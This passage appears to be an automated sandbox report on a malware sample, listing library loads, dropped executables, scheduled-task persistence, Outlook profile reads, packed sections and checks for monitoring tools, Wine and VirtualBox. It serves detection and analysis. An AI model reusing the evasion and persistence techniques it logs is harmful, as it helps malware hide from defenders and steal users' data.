Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1787392 > 1048576

Source: file.exe

Static PE information: Raw size of dsxuiljp is bigger than: 0x100000 < 0x19a800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2253697484.000000006C68F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.e90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;dsxuiljp:EW;oscjiabv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;dsxuiljp:EW;oscjiabv:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Unpacked PE file: 9.2.DocumentsDHCFIDAKJD.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 11.2.skotes.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 12.2.skotes.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 14.2.skotes.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;cqnnvyhp:EW;zjdghvcx:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4BC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C4BC410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 804e4a2fb7.exe.14.dr	Static PE information: real checksum: 0x437635 should be: 0xc9631
Source: random[1].exe.14.dr	Static PE information: real checksum: 0x437635 should be: 0xc9631
Source: file.exe	Static PE information: real checksum: 0x1b98b9 should be: 0x1b99e4
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: real checksum: 0x1e72d1 should be: 0x1f0fa5
Source: skotes.exe.9.dr	Static PE information: real checksum: 0x1e72d1 should be: 0x1f0fa5
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1e72d1 should be: 0x1f0fa5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dsxuiljp
Source: file.exe	Static PE information: section name: oscjiabv
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: cqnnvyhp
Source: random[1].exe.0.dr	Static PE information: section name: zjdghvcx
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name:
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name: cqnnvyhp
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name: zjdghvcx
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: cqnnvyhp
Source: skotes.exe.9.dr	Static PE information: section name: zjdghvcx
Source: skotes.exe.9.dr	Static PE information: section name: .taggant
Source: random[1].exe.14.dr	Static PE information: section name:
Source: random[1].exe.14.dr	Static PE information: section name: .rsrc
Source: random[1].exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe.14.dr	Static PE information: section name:
Source: random[1].exe.14.dr	Static PE information: section name: mcmnjdbh
Source: random[1].exe.14.dr	Static PE information: section name: hqiwbric
Source: random[1].exe.14.dr	Static PE information: section name: .taggant
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name:
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name: .rsrc
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name: .idata
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name:
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name: mcmnjdbh
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name: hqiwbric
Source: 804e4a2fb7.exe.14.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C48B536 push ecx; ret

0_2_6C48B549

Source: file.exe	Static PE information: section name: dsxuiljp entropy: 7.9543105319243335
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.9817209633517745
Source: random[1].exe.0.dr	Static PE information: section name: cqnnvyhp entropy: 7.9536412081511365
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name: entropy: 7.9817209633517745
Source: DocumentsDHCFIDAKJD.exe.0.dr	Static PE information: section name: cqnnvyhp entropy: 7.9536412081511365
Source: skotes.exe.9.dr	Static PE information: section name: entropy: 7.9817209633517745
Source: skotes.exe.9.dr	Static PE information: section name: cqnnvyhp entropy: 7.9536412081511365

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDHCFIDAKJD.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDHCFIDAKJD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008478001\804e4a2fb7.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDHCFIDAKJD.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDHCFIDAKJD.exe

Jump to dropped file

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\DocumentsDHCFIDAKJD.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4B55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C4B55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\DocumentsDHCFIDAKJD.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
